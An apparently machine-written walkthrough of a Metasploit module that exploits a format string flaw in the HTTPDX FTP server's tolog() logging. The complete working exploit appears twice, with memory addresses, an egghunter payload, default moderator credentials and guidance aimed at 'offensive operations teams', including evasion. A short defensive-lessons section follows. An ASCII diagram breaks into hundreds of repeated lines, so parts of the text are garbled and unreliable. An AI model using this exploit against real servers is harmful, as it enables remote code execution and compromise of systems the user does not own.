HTTPDX 'tolog()' Format String Vulnerability Explained

HTTPDX 'tolog()' Format String Vulnerability Explained
What this paper is
This paper details a format string vulnerability in the HTTPDX FTP server, specifically within its tolog() function. The vulnerability allows an attacker to send specially crafted FTP commands that contain format specifiers (like %x, %s, %n). When the server processes these commands, it can lead to memory corruption, potentially enabling an attacker to execute arbitrary code on the target system. The exploit leverages this by overwriting critical memory locations to redirect program execution to injected shellcode.
Simple technical breakdown
The core of the vulnerability lies in how the tolog() function handles user-supplied input. When a user sends an FTP command, the server might log this command and its output. If the output contains format specifiers, and the tolog() function (or related logging functions like snprintf which is often used before tolog) doesn't properly sanitize them, the C standard library's printf-like functions can interpret these specifiers.
This interpretation can lead to:
- Reading from arbitrary memory: Using specifiers like
%xor%sto dump data from the program's memory. - Writing to arbitrary memory: Using the
%nspecifier, which writes the number of characters printed so far to a memory address specified by a pointer on the stack. This is the key to achieving code execution.
The exploit uses a series of carefully crafted FTP commands to:
- Overwrite a function pointer: By repeatedly using
%nwith calculated offsets, the attacker can overwrite a pointer in the server's memory that will eventually be called. This pointer is often an import address table (IAT) entry or a function pointer within the program's data structures. - Redirect execution to shellcode: The overwritten pointer is made to point to the attacker's shellcode, which is also injected into the server's memory.
The Metasploit module automates this process by:
- Finding a writable memory location: Identifying a safe place in memory to write the shellcode.
- Finding a function to overwrite: Identifying a function pointer that the server will call, which can be redirected.
- Crafting the format string: Constructing the malicious string with the correct padding and
%nspecifiers to achieve the desired memory writes. - Injecting shellcode: Using an "egghunter" to find and execute the actual payload.
Complete code and payload walkthrough
The provided code is a Ruby script for the Metasploit Framework. It defines an exploit module for the HTTPDX FTP server.
##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Egghunter
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in HTTPDX FTP server.
By sending an specially crafted FTP command containing format specifiers, an
attacker can corrupt memory and execute arbitrary code.
By default logging is off for HTTP, but enabled for the 'moderator' user
via FTP.
},
'Author' =>
[
'jduck' # original discovery and metasploit module
],
'Version' => '$Revision: 10150 $',
'References' =>
[
[ 'CVE', '2009-4769' ],
[ 'OSVDB', '60181' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'httpdx 1.4 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.5 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6b - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.5 - Windows XP SP3 English',
{
'NumPops' => 29,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 17 2009'))
=begin
NOTE: Even though all targets have the same addresses now, future targets may not.
To find a target:
1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
(preferably something above 0x0d, to avoid bad chars)
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.
=end
register_options(
[
Opt::RPORT(21),
# note the default user/pass
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
], self.class )
endrequire 'msf/core': Imports the core Metasploit Framework library.class Metasploit3 < Msf::Exploit::Remote: Defines a new exploit module inheriting fromMsf::Exploit::Remote, indicating it's a network-based exploit.Rank = GreatRanking: Assigns a high ranking to this exploit, signifying its effectiveness.include Msf::Exploit::Remote::Ftp: Mixes in FTP client functionality, allowing the module to connect, authenticate, and send FTP commands.include Msf::Exploit::Egghunter: Mixes in egghunter functionality. An egghunter is a small piece of shellcode designed to find a larger payload (the "egg") within memory and execute it. This is useful when the exact location of the payload isn't precisely known or when dealing with ASLR.include Msf::Exploit::FormatString: Mixes in format string exploit helper functions, which are crucial for constructing the malicious format strings.initialize(info = {}): The constructor for the module.super(update_info(info, ...)): Initializes the module with metadata.'Name': The name of the exploit.'Description': A detailed explanation of the vulnerability and how the exploit works. It notes that logging is typically off for HTTP but enabled for the 'moderator' user via FTP.'Author': Credits the discoverer and module author.'Version': The revision number of the module.'References': Links to CVE and OSVDB advisories.'DefaultOptions': Sets default options.'EXITFUNC' => 'process'means the payload will try to exit by terminating the process it's running in.'Privileged' => true: Indicates the exploit might gain elevated privileges.'Payload': Defines characteristics of the payload.'Space' => 1024: Maximum size for the payload.'BadChars' => "\x00\x0a\x0d\x25": Characters that cannot be present in the payload. Null bytes, newlines, carriage returns, and '%' are problematic for format string exploits and FTP commands.'DisableNops' => 'True': Disables NOP sleds, often used to ensure shellcode execution even with slight address variations.'StackAdjustment' => -1500: Adjusts the stack pointer by a negative value, which can be necessary for shellcode execution.
'Platform' => 'win': Specifies the target operating system.'Targets': A list of potential targets, each with specific memory addresses for exploitation.'Automatic Targeting': Allows the module to try and detect the target version.- Specific Targets: Define
NumPops(number of values to pop off the stack to reach the desired return address),Writable(a memory address known to be writable, often in the.dataor.bsssection, or an empty space in the import table), andFlowHook(a memory address of a function pointer that will be overwritten to redirect execution). The comments suggest these addresses are found by analyzingcore.dllin IDA Pro.
'DefaultTarget' => 0: Sets the default target to 'Automatic Targeting'.'DisclosureDate': The date the vulnerability was publicly disclosed.
register_options(...): Registers command-line options for the module.Opt::RPORT(21): Sets the default FTP port to 21.OptString.new('FTPUSER', ...): Allows specifying the FTP username, defaulting to 'moderator'.OptString.new('FTPPASS', ...): Allows specifying the FTP password, defaulting to 'pass123'.
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /httpdx.*\(Win32\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
endcheckmethod: This method is used to determine if the target is vulnerable.connect: Establishes a connection to the FTP server.disconnect: Closes the connection.print_status("FTP Banner: #{banner}".strip): Prints the FTP server banner received.if banner =~ /httpdx.*\(Win32\)/: Checks if the banner contains "httpdx" and "(Win32)", indicating it's likely the vulnerable HTTPDX server.return Exploit::CheckCode::Appears: If the banner matches, returnsAppears, meaning the target seems vulnerable.return Exploit::CheckCode::Safe: Otherwise, returnsSafe, indicating no vulnerability was detected.
def exploit
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
disconnect
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
# proceed with chosen target...
connect_login
# '<ip>\n PWD '
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
num_start = ip_length + 1 + 3 + 1
# use the egghunter!
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
# add payload to the end
fmtbuf << eh_egg
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
disconnect
handler
# connect again to trigger shellcode
print_status(" triggering shellcode now")
print_status("Please be patient, the egg hunter may take a while...")
connect
end
endexploitmethod: This is the main method that performs the attack.- Target Selection:
- It first checks if
'auto'is set in thetargetoptions. - If
'auto'is true, it connects, disconnects, reads the banner, and tries to match the banner's version string to one of the predefined targets. - If a specific target is selected (not auto), it proceeds with that target.
- It first checks if
connect_login: Connects to the FTP server and logs in using the providedFTPUSERandFTPPASS.ip_length = Rex::Socket.source_address(datastore['RHOST']).length: Calculates the length of the source IP address used for the connection. This is used to determine the offset for the format string.num_start = ip_length + 1 + 3 + 1: Calculates the starting position within the format string buffer where the actual payload data will begin. This accounts for the IP address, a newline, the FTP command "PWD", and a space.eh_stub, eh_egg = generate_egghunter(...): Calls thegenerate_egghuntermethod (fromMsf::Exploit::Egghunter) to create two parts:eh_stub: The egghunter shellcode itself.eh_egg: The actual payload shellcode, often encoded and potentially wrapped in a pattern to be found by the egghunter.
- First
send_cmd(Writing Shellcode):fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget): This is a critical call to theMsf::Exploit::FormatStringmixin. It constructs a format string buffer (fmtbuf) that, when processed by the vulnerable server, will write theeh_stub(the egghunter) into the memory location specified bymytarget['Writable'].num_start: The offset from the beginning of the buffer to where the data starts.mytarget['Writable']: The target memory address where theeh_stubshould be written.eh_stub: The data (egghunter shellcode) to be written.mytarget: The current target configuration, which includes format string parameters likeNumPops.
send_cmd(['PWD', fmtbuf ], true): Sends the FTPPWDcommand with the craftedfmtbuf. Thetrueargument likely indicates that the response should be captured. The server'stolog()function (or similar) will processfmtbuf, and the%nspecifiers will write theeh_stubtomytarget['Writable'].
- Second
send_cmd(Redirecting Execution):fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget): This call constructs another format string. This one is designed to overwrite the function pointer atmytarget['FlowHook']with the addressmytarget['Writable']. This effectively tells the program: "When you're supposed to call the function atFlowHook, instead call the function atWritable." Since we just wrote our egghunter toWritable, this redirects execution to our egghunter. Thegenerate_fmt_two_shortsfunction is likely a helper that handles writing a 32-bit address in two 16-bit writes, which can be necessary to avoid bad characters.fmtbuf << eh_egg: Appends the actual payload (eh_egg) to the end of the format string buffer. This payload will be executed by the egghunter once it finds it.send_cmd(['PWD', fmtbuf ], true): Sends the second craftedPWDcommand. This write overwrites theFlowHookpointer.
disconnect: Closes the FTP connection.handler: Starts the Metasploit payload handler, waiting for the shellcode to connect back.connect: A finalconnectcall is made. This is often done to trigger the execution of the shellcode. The server might process the overwritten function pointer shortly after the secondPWDcommand, or this final connection might cause an event that triggers theFlowHook. The egghunter then searches for theeh_eggand executes it.
- Target Selection:
Payload Segments:
eh_stub(Egghunter Shellcode): This is a small piece of shellcode generated bygenerate_egghunter. Its purpose is to search the target's memory for a specific "egg" pattern (a sequence of bytes) that surrounds the actual payload. Once it finds the egg, it jumps to the payload and executes it. This is a common technique to bypass Address Space Layout Randomization (ASLR) or when the exact memory location of the payload is not precisely known.eh_egg(Actual Payload Shellcode): This is the main shellcode that performs the attacker's desired actions (e.g., opening a reverse shell, downloading and executing another program). It's often encoded to avoid bad characters and is placed in memory where the egghunter can find it.
Mapping of Code Fragments to Practical Purpose:
initializemethod: Module configuration, setting exploit name, description, author, references, payload constraints, and defining targets with specific memory addresses.checkmethod: Vulnerability detection by examining the FTP banner.exploitmethod: Orchestrates the attack.- Target Auto-detection logic: Dynamically selects a target based on the server banner.
generate_egghunter: Creates the egghunter stub and the actual payload.generate_fmtstr_from_buf: Constructs the first format string to write the egghunter to a writable memory location.send_cmd(['PWD', fmtbuf ], true)(first call): Executes the first format string, writing the egghunter.generate_fmt_two_shorts: Constructs the second format string to overwrite a function pointer (FlowHook) with the address of the writable memory location where the egghunter resides.fmtbuf << eh_egg: Appends the actual payload to the second format string buffer.send_cmd(['PWD', fmtbuf ], true)(second call): Executes the second format string, redirecting execution flow.handler: Starts the listener for the incoming shell.- Final
connect: Triggers the execution of the redirected code.
Source Code Snippets from Paper:
// 1.4/httpdx_src/ftp.cpp:
// ...
// 547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
// 548 if(isset(out) && client->serve.log)
// 549 tolog(client->serve.accessl,af);
// ...This C++ snippet from ftp.cpp shows how the server constructs a log message (af) using snprintf, which takes user-controlled input (client->cmd, out). If out contains format specifiers and tolog doesn't sanitize them, the vulnerability is triggered.
// 1.4/httpdx_src/http.cpp:
// ...
// 174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
// 175 if(client.serve.log)
// 176 tolog(client.serve.accessl,af);
// ...Similarly, this snippet from http.cpp shows another place where snprintf is used to format a log message before passing it to tolog. This further confirms the potential for format string issues if the input to snprintf is not properly validated.
Practical details for offensive operations teams
- Required Access Level: Anonymous FTP access might be sufficient if the vulnerable logging is enabled by default for all users. However, the exploit description mentions logging is enabled for the 'moderator' user via FTP, implying authentication might be required. Default credentials (
moderator/pass123) are provided, making this a common scenario. - Lab Preconditions:
- A running instance of HTTPDX FTP server (specific versions mentioned in targets).
- Network connectivity to the target FTP port (default 21).
- A Metasploit Framework environment configured to run the module.
- Knowledge of the target's IP address and potentially credentials if anonymous access is not sufficient.
- Tooling Assumptions:
- Metasploit Framework (specifically the
msfconsole). - The
httpdx_tolog_format.rbexploit module. - A payload configured for the target platform (Windows).
- A listener set up in Metasploit to receive the shell.
- Metasploit Framework (specifically the
- Execution Pitfalls:
- Target Version Mismatch: The exploit relies on specific memory addresses (
Writable,FlowHook). If the target HTTPDX version differs significantly from those listed, these addresses will be incorrect, leading to crashes or failed exploitation. Automatic targeting helps, but manual target selection might be necessary. - Bad Characters: The
BadCharslist (\x00\x0a\x0d\x25) is crucial. If the payload or egghunter contains any of these characters, the shellcode might be truncated or corrupted, leading to execution failure. TheDisableNopsoption also means the payload must be precise. - Network Latency/Reliability: FTP commands need to be sent and received reliably. Unstable network connections can cause commands to be lost or corrupted, leading to failed exploitation.
- Firewalls/IDS: FTP traffic on port 21 might be monitored or blocked. Evasion techniques might be necessary if the target environment has strong network security controls.
tolog()Function Behavior: The exact behavior oftolog()and how it processes input can vary slightly between minor versions or configurations, potentially affecting the exploit's reliability. The exploit assumessnprintfis used in a vulnerable way beforetolog.- Egghunter Failure: If the egghunter cannot find the payload "egg" in memory, the exploit will fail to execute the final payload. This could happen if the payload is placed in an unexpected memory region or if the memory scan is interrupted.
- Stack Adjustment: The
StackAdjustmentvalue might need tuning if the payload requires a specific stack setup for execution.
- Target Version Mismatch: The exploit relies on specific memory addresses (
- Telemetry:
- FTP Connection: Initial connection to port 21.
- Authentication: Successful or failed login attempts (if required).
- FTP Commands:
PWDcommands with unusually long or malformed arguments containing format specifiers. - Server Responses: Error messages or unexpected responses to the crafted
PWDcommands. - Process Creation/Termination: If the payload successfully executes, there might be telemetry related to a new process being spawned (e.g.,
cmd.exe,powershell.exe) or the HTTPDX process terminating unexpectedly. - Network Connections: If the payload establishes a reverse shell, a new outbound network connection from the target to the attacker's C2 server will be observed.
- Memory Corruption Events: System logs or crash dumps might indicate memory access violations or segmentation faults if the exploit attempts to write to invalid memory locations or if the payload execution goes awry.
Where this was used and when
- Vulnerability Disclosure: The vulnerability (CVE-2009-4769) was disclosed around November 17, 2009.
- Metasploit Module Release: The Metasploit module was published in August 2010.
- Usage Context: This type of vulnerability was relevant in the period following its disclosure, particularly against systems running older versions of HTTPDX FTP server. It would have been used by penetration testers and potentially by malicious actors targeting unpatched servers. The default credentials and common FTP usage make it a plausible vector for initial access or privilege escalation on vulnerable internal or external systems.
Defensive lessons for modern teams
- Input Validation is Paramount: Never trust user-supplied input, especially when it's passed to functions that interpret special characters or formats (like
printf,snprintf,sprintf). Always sanitize or validate input rigorously. - Secure Logging Practices: Ensure that any logging mechanisms do not directly use user-controlled data in format strings. Use safer alternatives or ensure all special characters are escaped.
- Keep Software Updated: Regularly patch and update all network services, including FTP servers. Vulnerabilities like this are often fixed in later versions.
- Network Segmentation and Firewalls: Limit access to sensitive services like FTP from untrusted networks. Use firewalls to restrict inbound and outbound traffic to only necessary ports and protocols.
- Intrusion Detection/Prevention Systems (IDS/IPS): Deploy and configure IDS/IPS to detect and potentially block suspicious network traffic patterns, such as malformed FTP commands or unusual data transfers.
- Principle of Least Privilege: Run services with the minimum necessary privileges. If the FTP server process is compromised, limiting its privileges can reduce the impact.
- Monitor Service Banners: While not a primary defense, monitoring service banners can help identify outdated or potentially vulnerable software running on the network.
- Memory Protection Technologies: Modern operating systems employ ASLR and DEP (Data Execution Prevention) which make memory corruption exploits harder to execute reliably. However, these are not foolproof and can be bypassed with sophisticated techniques.
ASCII visual (if applicable)
This exploit involves a sequence of network interactions and memory manipulation. A simplified flow can be visualized:
+-----------------+ +-----------------+ +-----------------+
| Attacker (MSF) | ----> | HTTPDX FTP Server | ----> | Target Process |
+-----------------+ +-----------------+ +-----------------+
| | |
| 1. Connect & Login | |
| 2. Send PWD (fmt_stub)| |
| (Writes Egghunter) | |
| | |
| 3. Send PWD (fmt_egg) | |
| (Overwrites Hook, | |
| Appends Payload) | |
| | |
| 4. Trigger Execution | |
| (e.g., final connect)| |
| | |
| 5. Payload Connects Back|------------------------>| Shell/Callback
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
|
---
## Original Exploit-DB Content (Verbatim)
```text
##
# $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Egghunter
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in HTTPDX FTP server.
By sending an specially crafted FTP command containing format specifiers, an
attacker can corrupt memory and execute arbitrary code.
By default logging is off for HTTP, but enabled for the 'moderator' user
via FTP.
},
'Author' =>
[
'jduck' # original discovery and metasploit module
],
'Version' => '$Revision: 10150 $',
'References' =>
[
[ 'CVE', '2009-4769' ],
[ 'OSVDB', '60181' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 1024,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => 'win',
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'httpdx 1.4 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.5 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6 - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.4.6b - Windows XP SP3 English',
{
'NumPops' => 37,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
[ 'httpdx 1.5 - Windows XP SP3 English',
{
'NumPops' => 29,
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 17 2009'))
=begin
NOTE: Even though all targets have the same addresses now, future targets may not.
To find a target:
1. open "core.dll" in IDA Pro
2. navigate to the "c_wildcmp" function
3. follow the xref to the first strlen
4. follow the xref to the imports area
5. copy/paste the address
6. the 'Writable' value should be anything after the last address IDA shows..
(preferably something above 0x0d, to avoid bad chars)
If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.
=end
register_options(
[
Opt::RPORT(21),
# note the default user/pass
OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']),
OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123'])
], self.class )
end
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /httpdx.*\(Win32\)/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
connect
disconnect
if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
print_status("No matching target")
return
end
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
end
# proceed with chosen target...
connect_login
# '<ip>\n PWD '
ip_length = Rex::Socket.source_address(datastore['RHOST']).length
num_start = ip_length + 1 + 3 + 1
# use the egghunter!
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget)
# add payload to the end
fmtbuf << eh_egg
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
if (res = send_cmd(['PWD', fmtbuf ], true))
print_status(res.strip)
end
disconnect
handler
# connect again to trigger shellcode
print_status(" triggering shellcode now")
print_status("Please be patient, the egg hunter may take a while...")
connect
end
end
=begin
also present in 1.5 (presumably all versions in between)
1.4/httpdx_src/ftp.cpp:
544 //printf(out);
545 char af[MAX] = {0};
546 if(isset(out) && client->serve.log || client->serve.debug)
547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out);
548 if(isset(out) && client->serve.log)
549 tolog(client->serve.accessl,af);
550 if(isset(out) && client->serve.debug)
551 printf(af);
1.4/httpdx_src/http.cpp:
172 char af[MAX] = {0};
173 if(client.serve.log || client.serve.debug)
174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code);
175 if(client.serve.log)
176 tolog(client.serve.accessl,af);
177 if(client.serve.debug)
178 printf(af);
=end